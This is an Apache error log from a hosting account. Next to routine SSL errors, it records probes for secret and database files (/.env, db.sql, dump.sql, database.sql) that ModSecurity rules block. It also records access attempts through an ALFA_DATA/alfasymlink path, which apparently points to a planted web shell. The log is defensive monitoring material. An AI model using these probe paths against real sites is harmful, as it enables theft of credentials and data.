[Tue Oct 27 05:41:07.852622 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 100.29.164.178:23617] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:11.887411 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 100.28.118.16:65304] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:15.985258 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 44.205.120.22:57608] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:19.716018 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 100.29.160.53:33867] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:23.723365 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 54.84.93.8:31178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/subsystem/devices/memory20/node0/cpu1/crash_notes_size
[Tue Oct 27 05:41:27.757599 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 18.214.186.220:32353] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:35.886225 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 52.0.41.164:47174] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:39.872732 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.213.70.100:55715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:47.952744 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.223.193.255:19265] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:52.821092 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 23.21.179.27:50822] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:41:56.249426 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 54.84.93.8:19277] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:19/eject
[Tue Oct 27 05:41:59.777376 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 3.212.205.90:37109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:03.692634 2026] [security2:error] [pid 3209601:tid 3209601] [client 43.165.127.225:39962] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auBx6wJ0bI7Z9n11TMABFQAAAAA"]
[Tue Oct 27 05:42:15.868602 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 85.208.96.208:37378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/slabs
[Tue Oct 27 05:42:15.940875 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.84.161.62:53520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:19.722314 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.71.46.142:23886] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:23.694504 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 107.20.25.33:25708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:27.693514 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.208.223.68:36770] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:35.742945 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 54.147.182.90:61440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/resource4_wc
[Tue Oct 27 05:42:39.707044 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 44.212.232.231:63979] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:43.784774 2026] [ssl:error] [pid 3201647:tid 3201647] (5)Input/output error: [client 23.21.204.95:22716] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:47.777323 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 23.23.214.190:21519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:55.880722 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.83.56.1:60252] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:42:59.793805 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.221.50.71:50018] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:04.136483 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 100.29.63.24:52033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:16.122228 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.217.171.106:44844] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:27.770016 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.200.93.170:32371] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:31.449344 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 185.191.171.9:11416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:31.657995 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 34.231.77.232:37542] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:36.056645 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.156.248.117:24082] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:39.791283 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.202.88.37:42486] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:47.684529 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.211.105.134:12771] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:49.676663 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 185.191.171.1:39112] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:55.973484 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.217.171.106:39294] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:43:57.842486 2026] [authz_core:error] [pid 3209616:tid 3209616] [client 84.233.212.34:63372] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 05:43:58.333704 2026] [proxy_fcgi:error] [pid 3201647:tid 3201647] [client 84.233.212.34:64524] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 05:43:58.465334 2026] [proxy_fcgi:error] [pid 3201640:tid 3201640] [client 84.233.212.34:65192] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 05:43:58.958941 2026] [proxy_fcgi:error] [pid 3201641:tid 3201641] [client 84.233.212.34:49445] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 05:43:58.999310 2026] [proxy_fcgi:error] [pid 3201656:tid 3201656] [client 84.233.212.34:49488] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 05:43:59.764597 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 98.82.107.102:45193] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:44:00.117440 2026] [security2:error] [pid 3209611:tid 3209611] [client 84.233.212.34:50925] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auByYJekxYBRCO5jo1OGzQAAABA"]
[Tue Oct 27 05:44:00.117669 2026] [security2:error] [pid 3209611:tid 3209611] [client 84.233.212.34:50925] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auByYJekxYBRCO5jo1OGzQAAABA"]
[Tue Oct 27 05:44:00.117965 2026] [security2:error] [pid 3209611:tid 3209611] [client 84.233.212.34:50925] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auByYJekxYBRCO5jo1OGzQAAABA"]
[Tue Oct 27 05:44:00.200340 2026] [security2:error] [pid 3201646:tid 3201646] [client 84.233.212.34:51032] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auByYBEnDOWBtFG5jRP7NAAAAAw"]
[Tue Oct 27 05:44:00.200577 2026] [security2:error] [pid 3201646:tid 3201646] [client 84.233.212.34:51032] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auByYBEnDOWBtFG5jRP7NAAAAAw"]
[Tue Oct 27 05:44:00.200872 2026] [security2:error] [pid 3201646:tid 3201646] [client 84.233.212.34:51032] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auByYBEnDOWBtFG5jRP7NAAAAAw"]
[Tue Oct 27 05:44:00.717725 2026] [security2:error] [pid 3209616:tid 3209616] [client 84.233.212.34:51655] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col2.sherwinpinturas.com"] [uri "/db.sql"] [unique_id "auByYBpfUBgvi1kircRTgQAAABg"]
[Tue Oct 27 05:44:00.718095 2026] [security2:error] [pid 3209616:tid 3209616] [client 84.233.212.34:51655] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/db.sql"] [unique_id "auByYBpfUBgvi1kircRTgQAAABg"]
[Tue Oct 27 05:44:00.718404 2026] [security2:error] [pid 3209616:tid 3209616] [client 84.233.212.34:51655] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/db.sql"] [unique_id "auByYBpfUBgvi1kircRTgQAAABg"]
[Tue Oct 27 05:44:00.735803 2026] [security2:error] [pid 3201647:tid 3201647] [client 84.233.212.34:51674] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col1.sherwinpinturas.com"] [uri "/db.sql"] [unique_id "auByYJVvqGtwGAy54pYOmQAAAA0"]
[Tue Oct 27 05:44:00.736077 2026] [security2:error] [pid 3201647:tid 3201647] [client 84.233.212.34:51674] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/db.sql"] [unique_id "auByYJVvqGtwGAy54pYOmQAAAA0"]
[Tue Oct 27 05:44:00.736317 2026] [security2:error] [pid 3201647:tid 3201647] [client 84.233.212.34:51674] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/db.sql"] [unique_id "auByYJVvqGtwGAy54pYOmQAAAA0"]
[Tue Oct 27 05:44:01.252798 2026] [security2:error] [pid 3201640:tid 3201640] [client 84.233.212.34:52254] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auByYeJWPhOgLfVxy6aSfwAAAAI"]
[Tue Oct 27 05:44:01.253138 2026] [security2:error] [pid 3201640:tid 3201640] [client 84.233.212.34:52254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auByYeJWPhOgLfVxy6aSfwAAAAI"]
[Tue Oct 27 05:44:01.253492 2026] [security2:error] [pid 3201640:tid 3201640] [client 84.233.212.34:52254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auByYeJWPhOgLfVxy6aSfwAAAAI"]
[Tue Oct 27 05:44:01.321803 2026] [security2:error] [pid 3201641:tid 3201641] [client 84.233.212.34:52243] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auByYR6MTIKaGGLTiEIY_AAAAAc"]
[Tue Oct 27 05:44:01.322388 2026] [security2:error] [pid 3201641:tid 3201641] [client 84.233.212.34:52243] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auByYR6MTIKaGGLTiEIY_AAAAAc"]
[Tue Oct 27 05:44:01.322761 2026] [security2:error] [pid 3201641:tid 3201641] [client 84.233.212.34:52243] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/dump.sql"] [unique_id "auByYR6MTIKaGGLTiEIY_AAAAAc"]
[Tue Oct 27 05:44:01.770510 2026] [security2:error] [pid 3201656:tid 3201656] [client 84.233.212.34:53015] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auByYUmqTSs7laY6jMTiIgAAABc"]
[Tue Oct 27 05:44:01.770889 2026] [security2:error] [pid 3201656:tid 3201656] [client 84.233.212.34:53015] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auByYUmqTSs7laY6jMTiIgAAABc"]
[Tue Oct 27 05:44:01.771190 2026] [security2:error] [pid 3201656:tid 3201656] [client 84.233.212.34:53015] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auByYUmqTSs7laY6jMTiIgAAABc"]
[Tue Oct 27 05:44:01.915605 2026] [security2:error] [pid 3209604:tid 3209604] [client 84.233.212.34:53377] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auByYa0A58tRzIL-Q2BmUQAAAAM"]
[Tue Oct 27 05:44:01.915934 2026] [security2:error] [pid 3209604:tid 3209604] [client 84.233.212.34:53377] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auByYa0A58tRzIL-Q2BmUQAAAAM"]
[Tue Oct 27 05:44:01.916192 2026] [security2:error] [pid 3209604:tid 3209604] [client 84.233.212.34:53377] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auByYa0A58tRzIL-Q2BmUQAAAAM"]
